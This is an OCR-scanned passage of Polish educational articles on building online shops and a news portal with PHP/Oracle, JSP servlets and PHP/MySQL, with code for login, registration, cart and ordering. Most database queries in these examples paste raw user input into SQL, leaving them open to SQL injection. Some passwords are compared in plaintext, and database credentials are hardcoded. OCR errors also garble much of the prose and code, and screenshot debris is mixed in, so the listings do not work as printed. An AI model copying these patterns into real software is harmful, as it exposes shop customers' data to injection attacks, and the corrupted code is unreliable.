NOWYPHP lg
MAIN.PHP SPRAWDZ_NOWY P
—

Y h 4
LEWA HTML SRODEK.HTML PRAWA HTML

L

ZAMAWIA HTML| | EXECUTE.HTML

Rys. 4. Schemat dziatania witryny sklepu
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Na rys. 4 przedstawiono schemat dziatania witryny sklepu. Zadaniem
strony login.html jest pokazanie pél, do ktérych klient wpisuje swoje
dane. Jezeli chce si¢ zarejestrowal pierwszy raz, moze udac si¢ stad na
stron¢ nowy . html, gdzie podaje dane sprawdzane przez sprawdZz no-
wy . php. Na stronie sprawdz.php wykonywane jest zapytanie do bazy
w celu sprawdzenia tozsamosci uzytkownika. Nastepna strona — glowna,
ktorej widok jest nizej — sklada si¢ z trzech kolumn. Sg one realizowane
przez pliki lewa.php, srodek.php oraz prawa.php. Ich zastoso-
wanie to wySwietlenie kategorii towardéw, samych towaréw i koszyka. Po
wybraniu towaru pokazuje si¢ strona zamawia . php, ktérej zadaniem jest
wezytanie ilo$ci zamawianego towaru. Wyslanie calego zamdwienia od-
bywa sie¢ na stronie execute.php. Najistotnicjsze elementy imple-
mentacji zawiera kod strony sprawdz.php (prezentujacy laczenie si¢
z baza w celu weryfikacji tozsamosci uzytkownika).

<?php
session_start();
$handle = ora_plogon ("JANEK@SID", "HASLO")or die;
$cursor = ora_open($handle);
ora_commitoff (Shandle);
$query = "select count(*) from kli where
upper (imie)=upper ('$imie’') and upper (nazwisko)
= upper ('$nazwisko')";
ora_parse ($cursor, Squery) or die;
ora_exec($Scursor);
ora_fetch($cursor);
$ile = ora_getcolumn($cursor,0);

if ($ile==0)

{

echo ("<font size=\"2\" color=\"red\">");

echo ("Nie ma takiego uzytkownika!!!<BR>");

echo ("Wcisnij ten link, aby powrécié do <a
href=\"login.html\"> panelu logowania. </a>");

echo ("</font>") ;

)

else

{//teraz sprawdzenie, czy hasito jest poprawne
i zapamietanie kodu

echo ("<font size=\"2\" color=\"red\">");
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echo ("Uzytkownik, ktérgo podates, jest rzeczywiscie
zarejestrowany...<BR>");
echo ("</font>") ;
Squery = "select kod, haslo from kli where
upper (imie)=upper ('$imie') and upper (nazwisko)
= ypper ('S$nazwisko')";
ora_parse ($cursor, $query) or die;
ora_exec($cursor);
ora_fetch($cursor);
$kod=ora getcolumn ($cursor,0);
$haslo z bazy=ora getcolumn($cursor,1);

if (Shaslo z bazy==$haslo)
{
session_register("imie");
session_register("nazwisko");
session_register("haslo");
session_register ("kod");
$i=0;
session register("i"); // ile jest zaméwionych
towarow. ..
session_register("tablica"):; // tablica
w systemie kod towaru,ile_togo_towaru
echo ("<font size=\"2\" color=\"red\">");
echo ("Zalogowaies sie jako:<BR>");
echo ("IMIE: $imie<BR>");
echo ("NAZWISKO: $nazwisko<BR>");
//echo ("HASLO: $haslo<BR>");
echo ("Twd] kod w bazie to:$kod<BR>");
echo ("Przetacz sie do strony gidwnej klikajac <a
href=\"main.php4?kateg=1\"> tutaj </a>");
echo ("</font>");
}
else
{
//zte hasto, uzytkownik dobry!!!
echo ("<font size=\"2\" color=\"red\">");
echo ("Haslo jest biedne!!!<BR>");
echo ("Wcisnij ten link, aby powrédcié do <a
href=\"login.html\"> panelu logowania. </a>");
echo ("<font size=\"2\" color=\"red\">");
}//koniec sprawdznia hasia

}//koniec sprawdzania, czy uzytkownik istnieje
T
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Analogicznie budowane sa inne strony. Oto kolejny przykladowy
kod pozwalajacy wyswietli¢ kategorie towarow po lewej stronie okna:

while (ora_fetch($cursor))

{

$kodKategorii = ora_getcolumn($cursor, 0);

echo ("$kodKategorii)");

$Kategoria = ora getcolumn($cursor, 1);

echo ("<a href=\"main.php4?kateg
=$kodKategorii\">$Kategoria</a><BR>");

}

Witaj Kezyé Ukich
Kategoric: Towary:

Twéj koszyk: |
Dwis B v
¢ % Byforia G+
Ié)K vt Preltyka programowatiia - Marco Cantu
3)Rowery i 2x Javalcript nie tylks
JavaScript nie tylko dla ortéw dla ortdwr
25 ﬂ R
‘praystepny podreemik L7x SQL dls kazdego

. EEDE

?uc.tej trudna

Symfonia C+
| 60z
j F tomy - b. proytepna

SOL dis kezdego
Pzt

i
i

L !
R == am— S o

Rys. 5. Wyglqd witryny

3.3 Technologia JSP

Do przechowywania informacji w bazie potrzebne sa trzy tabele.
Pierwsza z nich shuzy do zapamietywania dzialéw wiadomosci (katego-
rii). Ma pola kod i nazwa. Druga tabela stuzy do reprezentowania artyku-
16w wchodzacych w sktad dzialu. Ma pola kod, tytul, leadin, tresc
i dzialy kod. Ostatnia tabela umozliwia internautom dodawanie ich wia-
snych opinii na temat artykutéw. Taki system jest popularny (m.in. Wir-
tualna Polska, Onet). Tabela ma pola: kod, artykuly kod, number, opi-
nie_kod number, tresc. Opinie majq struktur¢ hierarchiczng — to znaczy,
ze uzytkownicy portalu mogg sobie odpowiada¢. Stuzy do tego pole opi-
nie_kod, wskazujace opinig, na jaka internauta odpowiada.
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Architektura MODEL-VIEW-CONTROLLER

Architektura ta jest oparta na idei modelu (reprezentujacego dane
zawarte w bazie), widoku (prezentujacego danc uzytkownikowi) i kontro-
lera (pozwalajacego uzytkownikowi dokonywaé zmian na danych).
W JSP architekture te standardowo realizuje si¢ za pomocg strony JSP
(ktéra jest widokiem), klasy JavaBean (bgdacej modelem) i serwletu
(pracujacego jako kontroler).

PRZEGLADARKA {————» KONTROLER

MODEL WIDOK

Rys. 6. Schemat dzialania architektury MVC

Model jest klasa JavaBean. Zawiera ona tylko jedna metode do-
dajOpinie. Przyjmuje ona jako parametry wywolania tres¢ dodawanej
opinii, kod komentowanego artykutu, kod opinii, na jakg internauta odpo-
wiada, i wskaznik na obiekt klasy Connection, reprezentujacy istnie-
jace juz polaczenie z baza zaczerpnigte z puli polaczen. Jej dzialanie
polega na wstawieniu jednego rekordu do tabeli opinie. Realizuje si¢ to za
pomoca instrukcji:

ResultSet res=st.executeQuery("insert into

opinie(artykuly kod, opinie_kod, tresc) values
("+kodArt+", "+kodOpKom+", '"+tresc+" ") ") ;

Kontrolerem jest tu serwlet dziedziczacy po klasie HttpServliet.
Jego zadaniem jest stworzenie instancji modelu, wykonanie na nim me-
tody dodajOpinie, a nast¢pnie przekierowanie uzytkownika na strong be-
daca widokiem. Istotne instrukcje to:

Model operator = new Model(); //utworzenie modelu

operator.dodajOpinie (tresc, kodArt, kodOpKom, con) ;
//dodanie opinii

response.sendRedirect("aktykul.jsp?kod="+kodArt);
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Widok jest zwykla strong JSP. Pokazuje ona artykul wraz z opiniami
internautéw na jego temat. Tutaj najistotniejsze jest zapytanie do bazy
Oracle pozwalajgce na pokazanie calej struktury hierarchicznej naraz:

rs= stmt.executeQuery("select level, kod, tresc
from opinie where
artykuly kod="+request.getParameter ("kod")+"
connect by prior kod=opinie kod start with
opinie_kod is null");

Start.jsp jest strong startowsa, ktéra pokazuje kategorie artyku-
16w 1 same artykuly. Wykonywane zapytania to:

ResultSet rs= stmt.executeQuery("select nazwa,
kod from dzialy order by nazwa");
// zapytanie o dziaty

oraz

rs= stmt.executeQuery("select tytul,
leadin, kod from artykuly where
dzialy kod='"+dzial+"' order by tytul,
leadin") ;//zapytanie ¢ artykuiy

Pula polgczen JDBC

Pula pofaczen ma za zadanie przechowywanie otwartych pofaczen
[3]. Musi ona tez wiedzie¢, ktére z polaczen sg aktualnie wykorzysty-
wane. Kiedy wszystkie potaczenia sa zajete i naplywa zadanie kolejnego,
musi ona je utworzy¢ i doda¢ do puli. Przy zamykaniu puli wszystkie po-
taczenia muszg zostaé zamkniete. Ponadto posiada wektor o nazwie pula,
ktory przechowuje wskazniki na obiekty klasy PclaczenieWPuli.

Potaczenie wchodzace w skiad puli reprezentowane jest przez klase
PolaczenieWPuli, ktéra przechowuje faktyczne polaczenie i infor-
macje o tym, czy jest ono dost¢pne.

K %k

W wypadku wykorzystania tradycyjnej technologii CGI dla kazdego
zadania HTTP tworzony jest nowy proces. Jesli sam program CGI jest
stosunkowo krotki, to przewazajaca cz¢$¢ wykonania programu moze
stanowi¢ uruchomienie procesu. W wypadku serwletéw wirtualna maszy-
na Javy dziala bez przerwy i obstuguje wszystkie nadsylane zadania, wy-
korzystujac do tego niewielkie watki Javy, a nie procesy systemu opera-
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cyjnego, ktore wykorzystuja wiele zasobéw systemowych. Co wiece;j,
w wypadku korzystania z tradycyjnych programéw CGI, jesli jednoczes-
nie zostanie nadestanych N zadan skierowanych do tego samego progra-
mu, jego kod zostanie N razy zaladowany do pamigci. W wypadku ser-
wletdw w takiej sytuacji zostanie utworzonych N watkéw, lecz wykorzy-
stywana bedzie wylgcznie jedna kopia klasy serwletu. I ostatnia sprawa.
Gdy program CGI skonczy obstugiwaé zadanie, zostanie on zakonczony.
Utrudnia to przechowywanie wynikow obliczen w pamigci podrecznej,
utrzymywanie otwartych polgczen z bazami danych oraz wykonywanie
wszelkich innych optymalizacji bazujacych na trwalych informacjach.
Serwlety natomiast pozostajg w pamigci nawet po zakonczeniu obstugi
zadania, dzigki czemu przechowanie dowolnie ztozonych danych pomie-
dzy poszczegdlnymi zadaniami staje si¢ bardzo proste [3].

JSP 1 cala platforma JavaPlatform ma jeszcze jedng zasadnicza zalete
— pozwala tatwo tworzy¢ aplikacje trojwarstwowe, gdzie logika witryny
jest oddzielona od jej strony wizualnej. Realizuje si¢ to za pomocg Enter-
prise Java Beans, jednak temat ten wykracza poza ramy tego artykutu.

PHP jest pelnowartosciowym jezykiem programowania pozwalajacy
na tworzenie aplikacji WWW z wszystkimi potrzebnymi funkcjami. PHP
wspotpracuje z wieloma systemami baz danych. Pozwala to na bardzo
tatwe tworzenie aplikacji WWW korzystajacych z informacji zapisanych
w bazie danych. Mozliwy jest réwniez dostgp do ustug sieciowych, takich
jak IMAP, POP3, NNTP i TTP. Pozwala on réwniez na otwieranie gniazd
sieciowych i podigczanie sie do innych protokotéw TCP/IP.
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Tworzenie i zastosowanie sklepu internetowego
na bazie technologii PHP i MySQL

Michat Sotowiej

Sklep internetowy (ang. shopping cart) jest to mechanizm dokony-
wania zakupow przez Internet. Przegladarka internetowa stuzy bowiem
do korzystania ze stron w sposéb interaktywny (np. dokonywanie zaku-
pow, poczta internetowa). W skiad typowego systemu sklepu interneto-
wego wchodzg nastepujgce elementy: baza danych towardéw, ktére majq
by¢ sprzedawane, katalog towaréw poukltadanych wediug kategorii pre-
zentowany on-line, mechanizm uwierzytelniania, koszyk na zakupy
umozliwiajacy przechowywanie towardw, skrypt obstugujacy dokonanie
zakupu oraz interfejs administracyjny.

W pracy postuze si¢ przykltadem systemu sklepu internetowego
stworzonego za pomocq PHP, w polaczeniu z serwerem bazy danych
MySQL oraz serwerem WWW Apache, gdyz jest to chyba najlepsze
i najbardziej wygodne polaczenie oprogramowania. PHP posiada wiele
funkcji ulatwiajagcych komunikacje zaréwno z serwerem bazy danych
MySQL, jak i z serwerem WWW Apache i jest powszechnie uzywany do
tego typu rozwigzan.

1. Bezpieczenstwo transakeji internetowych

Aby rozwigzaé problem zabezpieczenia transakcji internetowych,
nalezy przeanalizowaé przeplyw informacji w systemie sklepu interneto-
wego oraz zapewniaé w sposdb ciaggly bezpieczenstwo przesylania da-
nych. Jesli chodzi o bezpieczefistwo sieciowe, to taka cigglos¢ jest dos¢
trudna do osiagniecia. Nie istnieje chyba taki system, ktorego nie datoby
sie spenetrowaé, w zwigzku z czym za bezpieczny mozna przyjaé system,
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w ktérym wysilek, jaki nalezaloby wlozy¢é w zlamanie zabezpieczen, jest
nieadekwatny do wartosci przechowywanych w nim danych. W systemie
handlu internetowego problem bezpieczenistwa mozna rozwazaé w trzech
ptaszczyznach: komputer uzytkownika (klienta), sie¢ Internet oraz system
sklepu internetowego.

Na pierwsze dwa czynniki tworca sklepu nie ma praktycznie zadnego
wplywu, natomiast nalezy zadbac, aby system sklepu internetowego byt jak
najbardziej bezpieczny. Taki system sklada sie z trzech komponentow:
serwera WWW, na ktérym przechowywane sg strony i skrypty, mechani-
zmu PHP oraz mechanizmu MySQL. Juz podczas instalacji poszczegdl-
nych skladnikéw pojawiaja si¢ problemy bezpieczenstwa. W trakcie
instalacji PHP nalezy mie¢ na uwadze fakt, ze wigkszy poziom bezpieczen-
stwa oraz wieksza wydajnosé osiggniemy, gdy zainstalujemy go jako mo-
dut SAPI serwera WWW, a nie jako skrypt CGI. Instalacja zalezy jednak
od faktu, do jakich rozwiazan w gléwnej mierze ma stuzy¢ PHP.

Jesli chodzi o bezpieczenstwo danych przesylanych migdzy kompo-
nentami systemu sklepu internetowego, dobrym rozwigzaniem jest zain-
stalowanie serwera MySQL na tym samym komputerze co serwer WWW,
W przeciwnym razie PHP, laczac si¢ z takim serwerem, Korzysta z proto-
kohu TCP/IP, a co za tym idzie — przesyla dane droga niekodowana,

Poniewaz podczas transakcji beda wysylane informacje, ktore po-
winny by¢ znane jedynie klientowi i odbiorcy oraz nie powinny by¢ przez
nikogo niepowolanego modyfikowane, nalezy skorzysta¢ z protokotu
SSL (Secure Socket Layer). Protokoty sieciowe oraz oprogramowanie
implementujace te protokoly jest zazwyczaj konstruowane w postaci war-
stwowej. Kazda warstwa moze przekazywaé dane do warstwy wyzszej
lub nizszej, a takze moze przyjmowaé zadania od warstw, z ktorymi nie
sasiaduje. Kiedy do transportu informacji wykorzystujemy protokot
HTTP, wywoluje on protok6t TCP. Ten z kolel, cheac przesta¢ dane po
fizycznych laczach sieciowych, potrzebuje dostgpu do protokotu steruja-
cego funkcjonowaniem tych laczy. Wykorzystanie protokotu SSL polega
na dodaniu do tego modelu dodatkowej ,,przezroczystej” warstwy. War-
stwa SSL umieszczana jest pomiedzy warstwa transportu a warstwg apli-
kacji. Zadaniem protokolu SSL jest modyfikowanie danych otrzymanych
z aplikacji HTTP przed przekazaniem ich do warstwy transportu, a na-
stepnie do miejsca przeznaczenia. Warstwa SSL udostgpnia taki sam
interfejs do protokot6éw lezacych powyzej niej, jak ten, ktérym poshuguje
sie umieszczona ponizej warstwa transportu. W zwigzku z tym operacje
wymiany potwierdzen kodowania i dekodowania odbywaja si¢ w sposob
niewidoczny dla innych warstw.
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W sklepie internetowym, protokot SSL wykorzystywany jest w me-
chanizmie uwierzytelniania oraz w koncowej fazie dokonywania zaku-
pow — podczas uruchomienia skryptu dokonujacego zamdwienie.

2. Tworzenie bazy danych

Glownym celem bazy danych sklepu internetowego jest przechowy-
wanie informacji o artykutach, ich ilosci w magazynie, klientach oraz do-
konywanych zamdwieniach. Jezeli ma to by¢ handlowa platforma inter-
netowa, to powinna ona uwzgledniaé bardziej rozbudowane funkcje niz
tylko proste realizowanie zaméwien. Trzeba przemysle¢, w jaki sposéb
klient bedzie uiszczal oplaty oraz jak zaméwienia bgda do niego dostar-
czane. W dalszych rozwazaniach mozna réwniez uwzgledni¢ promocje
i sposéb naliczania rabatéw. Wiadomo, ze niezbgdne bgda tabele Produk-
ty, Klienci, Zaméwienia. Sg to gléwne trzy tabele, na ktérych opiera sig
caly sklep. Aby pozby¢ si¢ nadmiarowosci danych z tabeli Zamowienia,
nalezy utworzy¢ nowa tabelg przechowujaca poszczegblne pozycje
danego zamoOwienia, ich ilosci oraz wartosci (czyli cena razy ilo$C).
Mozna rowniez utworzyé oddzielng tabele przechowujaca adresy klien-
tow i kilka innych dodatkowych tabel. Cata baza danych, poszczegélne
tabele, klucze sg tworzone przy uzyciu jezyka SQL. Nalezy réwniez pa-
mietaé o zabezpieczeniu dostepu do bazy danych i uprawnieniach ewen-
tualnych uzytkownikow.

Ponizszy skrypt tworzy przyktadowa bazg¢ danych ,,sklep” z jedng ta-
bela ,.klienci” oraz nadaje uprawnienia i ustawia hasto uzytkownika na
password (oczywiscie, nalezy uzywaé bardziej bezpiecznych haset):

create database sklep;

use sklep:;

create table klienci

(
id klienta varchar(16) not null primary key,
haslo varchar(l16) not null,
nazwisko char (40) not null,
imie char(40) not null,
email varchar (40) not null,
adres varchar (200) not null,
)
grant select, insert, update, delete
on sklep.*
to sklep@localhost identified by 'password';
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4. Tworzenie sklepu internetowego z wykorzystaniem mechanizmu sesji

Protokét HTTP jest protokolem bezpolaczeniowym. Oznacza to, ze
nie udostepnia on zadnych wbudowanych narzedzi, ktore pozwalalyby na
przekazywanie informacji pomigdzy transakcjami. Korzystajac tylko z pro-
tokotu HTTP, nie mozemy stwierdzi¢, czy zadania wysylane do serwera
pochodzg od tego samego uzytkownika, czy od réznych. W systemie
sklepu internetowego informacje takie sg bardzo wazne, gdyz kazdy uzyt-
kownik wykonuje operacje czesto w tym samym czasie co inni. Kazdy z
nich posiada wiasne artykuly, ktére chce zakupi¢ i ktére znajdujq sie w
jego koszyku. Idea sterowania sesja wprowadza mozliwos¢ ,,Sledzenia”
uzytkownika podczas pojedynczej sesji — tj. w trakcie odwiedzania przez
niego réznych stron pojedynczej witryny WWW. Majac do dyspozycji ta-
kie narzedzie, mozna latwo ,,zalogowac” uzytkownika i $ledzi¢ operacje
wykonywane przez niego na stronach sklepu internetowego. Tutaj sesje
postuza do implementacji takich zadan, jak obstuga logowania, wylogowa-
nia i zarzadzania kontem oraz do obstugi koszyka sklepowego. Strony ge-
nerowane przez skrypty wymienionych mechanizméw powinny byé
dostgpne w wyniku bezpiecznego polaczenia SSL, gdyz zawierajg one tre-
$ci, ktére powinny by¢ chronione (jak hasta, identyfikatory itp.)

Uwierzytelnianie i personalizacja. Modut uwiecrzytelniajacy sklada
si¢ z czterech podstawowych czeéci: rejestracji uzytkownika, logowania i
wylogowania oraz zmiany i resetowania hasta.

Rejestracja. W celu zarejestrowania nowego uzytkownika w systemie
sklepowym nalezy pobra¢ informacje wprowadzone przez niego za pomoca
formularza HTML i zapisa¢ je do bazy danych. Podczas tego etapu nalezy
poddaé¢ weryfikacji wprowadzone dane, tzn. sprawdzi¢ ich poprawnosé¢
oraz czy dany uzytkownik nie zostal juz zarejestrowany. Po pomysinym
wprowadzeniu nowego uzytkownika ustawiana jest odpowiednia zmienna
sesji ,,Sledzaca™ kroki, jakie dany uzytkownik podejmuje. Od tej chwili
system sklepu internetowego identyfikuje go jako konkretnego uzytkow-
nika o przyznanym mu unikatowym numerze (numerze sesji). Numer sesji
jest jedyny i niepowtarzalny, co zapobiega bledom. Prosta implementacja
skryptu rejestracji moze wyglada¢ nastepujaco:

<?php

session_start():

// uruchomienie sesji przed nagtéwkami HTML
if ($id && $haslo)
// sprawdzenie czy uzytkownik prébowai sie logowac

{
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$polaczenie = mysql cecnnect ("localhost");
// taczenie sie z baza danych
mysql select_db("sklep"):
// wybbr bazy danych o nazwie “sklep”
$query = "select id_klienta from klienci"
."where id_klienta='$id' "
." and haslo='password($haslo)'";
// wykorzystanie funkcji szyfrujacej PHP password
$wynik = mysql query($query,$polaczenie);
if (mysqgl num rows (Swynik)>0)
{ .
// jezeli istnieje juz uzytkownik
o podanym id i hasle
$valid user = $id;
session register("valid_user"):;
// rejestracja zmiennej sesji
// valid_user
}
}
require ('header.php'):
// dotaczenie nagléwkéw strony HIML znajdujacych sig
w pliku ,header.php”
if ('$id || !Shaslo || !$powtorzhaslo)
//sprawdzenie czy uzytkownik podat wymagane pola
{
echo "Nie zostaly wypelnione wymagane pola.";
require ('formularz konto.txt'):
// dotaczenie pliku zawierajacego formularz
rejestracii
}
elseif (Shaslo!=S$powtorzhaslo)
{
echo "Podane haslo i powtdrzona wartos¢ nie sag
jednakowe.";
require ('formularz konto.txt');
exit;
}
else
{
$id = addslashes($id);
// markowanie znakéw sterujacych w tancuchach
kierowanych do bazy danych
Shaslo = addslashes (password($haslo));
$db = mysql_pconnect("localhost“):
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// potaczenie z baza danych
mysql_select _db("sklep"):;
$wynik=mysql query("select * from klienci where
id klienta='$id'");
if (mysql num rows ($wynik)>0)
{
echo "Podana nazwa uzytkownika jest zajeta. ";
require ('formularz konto.txt'):
exit;
}
else
{
Sg="insert into klienci
values('".$id."', '".password(Shaslo) ""')";
$wynik = mysql query($q):;
if ($wynik)
$valid user = $id;
session_register("valid_user");
// rejestracja nowego uzytkownika
echo "Konto zostaio zalozone.";
}
}

require ('footer.php'):;

// dolaczenie znacznikdé4w HTML znajdujgcych sie

w pliku ,footer.php”
72>

iciozpll islernol Explofot
] it Rocalimst /™~ sklep/novwe_koniophe TPHPSESS Dedoldad1ciloddebl | a6THT Rae2B1d33

24 Atarnatywns W celu zaladenia Nowego kanty, prosimy o wy
farmularza

-

. |_——"—'— Jw IAumr -! ,-:
Instismentaing dennyfiEator: Szuka) w i ‘__.-};.‘
21 Poezje dpiowena Humi 73
» Powtdrz hasto™: l
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Rys. 1. Formularz rejestracji nowego uzytkownika
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Logowanie. Podczas logowania nastgpuje weryfikacja wprowadzo-
nych danych. Tak jak podczas rejestracji nowego uzytkownika zostaje
ustawiona zmienna sesji, ktéra odpowiada konkretnemu uzytkownikowi.
Implementacja mechanizmu logowania jest uproszczong wersja rejestracji
nowego uzytkownika. Zamiast wyswietlania formularza rejestracyjnego
nastgpuje sprawdzenie poprawnosci danych i wyswietlenie odpowied-
niego komunikatu, jak pokazano na rys. 2.

% Altes natywne Niepoprawny identyfikator lub hasio, r-—-——-—-— ]
Logowanie &

1 Muzyke instrumentasing soutyw: [Autior = :
mmﬁw] 7 &

23 Poszfs spiewans :’
Ham:l -

as Poisid pop 3‘;‘-‘.
2 Pop £
38 Rock Zapomnisied haste? fv;i

¥
&
=
-
.

by w3,

O e TR e

VERITIE 2 I B i_%i Lokaing intranet 7

Rys. 2. Okno po wprowadzeniu biednych danych

Zwro¢my uwage na pasek adresu przegladarki. Adres ma postaé:
https://localhost/~sklep/login.php

Bardzo waznym elementem jest przedrostek https zamiast http.
Oznacza to, ze strona zostala wygenerowana w wyniku bezpiecznego
polaczenia SSL.

Wylogowanie. W trakcie wylogowania nastepuje ,,wyrejestrowanie”
zmiennej sesji odpowiadajacej wezesniej zalogowanemu uzytkownikowi
i zakonczenie sesji. Dzieki temu kazdy uzytkownik korzystajacy p6zniej
z tego samego komputera i odwiedzajacy t¢ sama witryn¢ bedzie trakto-
wany odrebnie (zostanie mu przydzielony oddzielny numer sesji). Przy-
ktadowa implementacja mechanizmu wylogowania moze wyglada¢ na-
stepujaco:

<?php

session_start();
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Swynik = session_unregister("valid user");
// wyrejestrowanie zmiennej sesji
odpowiadajacej uzytkownikowi
session_destroy(); // zakonczenie sesji
require ('header.php');
//dotaczenie nagtédwkdé4w strony HTML
if ($wynik) //wylogowanie powiodlo sie
{
echo "Wylogowanie pomy$lne.";
}
else // nie moze nastapié¢ proces wylogowania
{
echo "Nie mozna wylogowaé uzytkownika.";
}
require ('footer.php'):;
// dotaczenie stopki strony HTML
>

Zmiana hasla., Podczas wykonywania tej cze¢$ei mechanizmu uwie-
rzytelniania nastgpuje zmiana hasta okreslonemu przez zmienng sesji
uzytkownikowi. Najpierw musi nastapi¢ weryfikacja starych danych
uzytkownika, a nastgpnie sprawdzenie poprawnosci nowo wprowadzo-
nych danych. Oto fragment kodu zmieniajacy hasto uzytkownika o poda-
nych wartosciach $nowe_haslo oraz $id_klienta:

<?php
$polaczenie = mysql pconnect ("localhost");
mysgl _select_db("sklep"):
mysql query("update klienci set haslo='$nowe_ haslo’
where
id klienta='$id klienta'");
// uaktualnienie hasla w bazie danych
?>

Resetowanie hasla. Ten modul wykorzystywany jest w momencie,
gdy uzytkownik zapomniat hasla. Nastepuje weryfikacja danych uzyt-
kownika, zmiana hasta na nowe i przestanie nowego hasta pod podany
przez uzytkownika adres e-mail. Zmienione hasto powinno by¢ genero-
wane automatycznie w sposéb losowy, gdyz wtedy zapewnione jest mak-
symalne bezpieczefistwo danych. Funkcja wysylajaca e-mail ma naste-
pujgcq postac:

mail (“adres”,”temat”,”tresé¢”,”adres_nadawcy”).
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4. Implementacja koszyka sklepowego

Cala funkcjonalnosé koszyka oparta jest na bazie zmiennej bgdace;j
tablicg asocjacyjng, w ktérej role kluczy pelnia numery katalogowe pro-
duktéw, a wartodciami sq ilosci zaméwionych produktoéw o danym nume-
rze. Przyktadowo, gdy do koszyka zostang dodane 2 produkty o numerze
»>’, W tablicy znajdzie si¢ nastgpujacy element: 5 => 2.

Wraz z umieszczaniem artykutéw w koszyku beda one dodawane do
tablicy. Cheac odwotaé sie do opisu artykutu znajdujacego sie¢ w koszyku,
uzyje tej zmiennej do odczytania szczegétowych informacji z bazy da-
nych. Nalezy rowniez wykorzysta¢ zastosowang juz podczas mechanizmu
uwierzytelniania zmienna sesji $ledzaca kroki uzytkownika ($va-
1id_user). Postuzy ona do rozgraniczenia koszykéw poszczegélnych
uzytkownikéw.

Podczas implementacji nalezy rozgraniczyé, czy uzytkownik wszedt
na strone koszyka po kliknieciu przycisku (lub linku) ,,dodaj do koszyka”,
czy tez chee po prostu przejrzeé jego zawartosé. W pierwszym wypadku
zostanie uruchomiony skrypt z parametrem o wartosci numeru katalogo-
wego dodawanego artykutu, natomiast w drugim — bez wyzej wymienio-
nego parametru.

Dodawanie nowych pozycji do koszyka:

<?php
session _start();
if (Snowy) // dodanie artykulu do koszyka
{
if(!session_is registered("koszyk"))
// sprawdzenie czy zmienna koszyk juz istnieje
{
$koszyk = array():;
session register ("koszyk");
// rejestracja zmiennej koszyk
}
if (Skoszyk[Snowy])
Skoszyk[Snowy] ++;
// artykul juz znajduje sie w koszyku, wiec
zwiekszamy jego ilos¢
else
Skoszyk([$Snowy] = 1;
?>
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Wyswietlanie stanu koszyka:

<?php

session_start();

if ($koszyké&sarray count values ($koszyk))
//sprawdzenie czy jest co$ w koszyku

{
echo "Artykul Cena Ilos¢ Wartosé";
foreach (Skoszyk as $nr kat => $ilosc)
//petla wyswietlajaca kolejne pozycje koszyka
{
if (!$nr _kat || S$nr kat=="")
$polacz = db_connect();
$query = "select * from produkty where nr kat='$nr kat'";
Swynik = @mysqgl query(Squery);
$art = @mysql fetch array(Swynik);
// podstawienie do zmiennej tablicowej Sart, pdl
artykutu o numerze katalogowym $nr kat
echo sSart["tytul"]." ".Saxt{"cena®]." ";
echo "<input type = text name = \"$nr_ kat\"
value=$ilosc size = 3>";
echo " ".$Silosc;
echo $art["cena"]*$ilosc;
}
}

else
echo "Twdj koszyk jest pusty.";
2

W mechanizmie obsthugujacym koszyk sklepowy nalezy jeszcze
umiesci¢ funkcje obliczajace warto$¢ zamoéwionych artykutéw oraz pod-
liczajace ich ilosci.

Dokonanie zaméwienia. Jest to koncowy etap zamdwienia. Po we-
ryfikacji zgodno$ci uzytkownika zamowienie zostaje zapisane w odpo-
wiedniej tabeli bazy danych, a kopia rachunku zamdwienia zostaje
wyslana pod adresem e-mail klienta oraz do wiasciciela sklepu. Zmienna
odpowiadajgca za koszyk zostaje ,,wyrejestrowana” i gdy nast¢puje wylo-
gowanie z systemu, roéwniez zostaje usuni¢ta warto$¢ zmiennej
odpowiadajgcej konkretnemu uzytkownikowi.

Skrypt wstawiajacy poszczegoélne elementy zamowienia do tabeli
pozycje zamowienia:

<?php

session_start():
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foreach(Skoszyk as $nr_katalogowy => $ilosc)

{

$query = "insert into pozycje zamowienia values
('Snr_zamowienia', 'Snr_katalogowy', 'S$Scena',
2iloac)™;

}

// opréznienie koszyka

session _destroy();

echo "Dzigkujemy za dokonanie zakupdw."
?>

Modul administracyjny. Interfejs administracyjny jest to dziatajacy
w oparciu o sie¢ Web interfejs do bazy danych, udost¢pniajacy réwniez
mechanizm uwierzytelniania uzytkownikow. Mechanizm uwierzytelnia-
jacy jest potrzebny, aby odpowiedni administrator sklepu mégt wykony-
wac¢ tylko czynnosci okreslone w jego uprawnieniach.

Dostep do modutu administratora bedzie mozliwy po wezesniejszym
zalogowaniu si¢ uzytkownika. Proces ten obslugiwany jest przez skrypt,
ktéry po zweryfikowaniu tozsamoéci, wywotuje skrypt umozliwiajacy
edycje pol poszezegblnych tabel bazy danych. Mozliwe jest dodawanie
nowych artykutéw do bazy danych lub ich edycja czy usuwanie.

Implementacja modutu administracyjnego wydaje si¢ jasna i prosta.
Wykorzystuje ona funkcje uzyte do implementacji modutu sklepowego
(np. uwierzytelnianie, modyfikacja danych).

5. Zastosowanie sklepow internetowych w rozwigzaniach e-commerce

W globalnej sieci Internet znajduje si¢ bardzo wiele sklepéw funk-
cjonujacych niezaleznie od siebie i od innych rozwigzan komercyjnych.
Aby zdoby¢ klientéw i ich zaufanie, musza one ,,przyciggnaé” czyms
atrakcyjnym (przewaznie cenami). Jednak nalezy pamigtaé, ze nie
wszystko, co tanie, znaczy dobre i bezpieczne. Bardzo czgsto powstajq
mate sklepiki (o niezbyt skomplikowanej budowie i funkcjonalnosci),
w ktérych programisci stawiajg na szybko$¢ dokonywania transakcji
kosztem bezpieczenstwa. Jednak internauci maja najwigksze zaufanie do
sprawdzonych sklepéw, w ktérych dokonujg zakupow.

Pasaze handlowe — wirtualne supermarkety. Portale przygotowuja
rozne oferty dla sklepéw internetowych, tworzac wzorem rzeczywistych
supermarketow pasaze handlowe, w ktérych prezentowane sg oferty skle-
péw biorgcych udzial w przedsigwzigeiu. Pasaze takie podzielone sa na
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kategorie i podkategorie (jak np. muzyka>muzyka powazna) majace
strukture drzewa. Oferty sklepu ,,przypinane” sg do ,,lisci”, czyli konco-
wych podkategorii. Kazdy sklep nalezacy do pasazu posiada wydzielong
przestrzen dyskowa, w ktorej umieszcza oferty swojego sklepu.

Korzystajac z odpowiedniego interfejsu graficznego, oferty prezen-
towane sg na stronach portalu. Klient moze pobieznie zapoznac¢ si¢ z opi-
sem danej oferty na stronie portalu, lecz gdy chce dokonaé zakupu, zosta-
je przekierowany na strony odpowiedniego sklepu.

Aukcje internetowe. Innym rozwigzaniem handlu sg aukcje inter-
netowe. Tutaj rowniez giéwny ,,mechanizm” sklepowy ma swoje zasto-
sowanie. Tym razem na stronach internetowych portalu aukcyjnego (np.
Allegro.pl) prezentowane sa oferty indywidualnych uzytkownikéw. Na
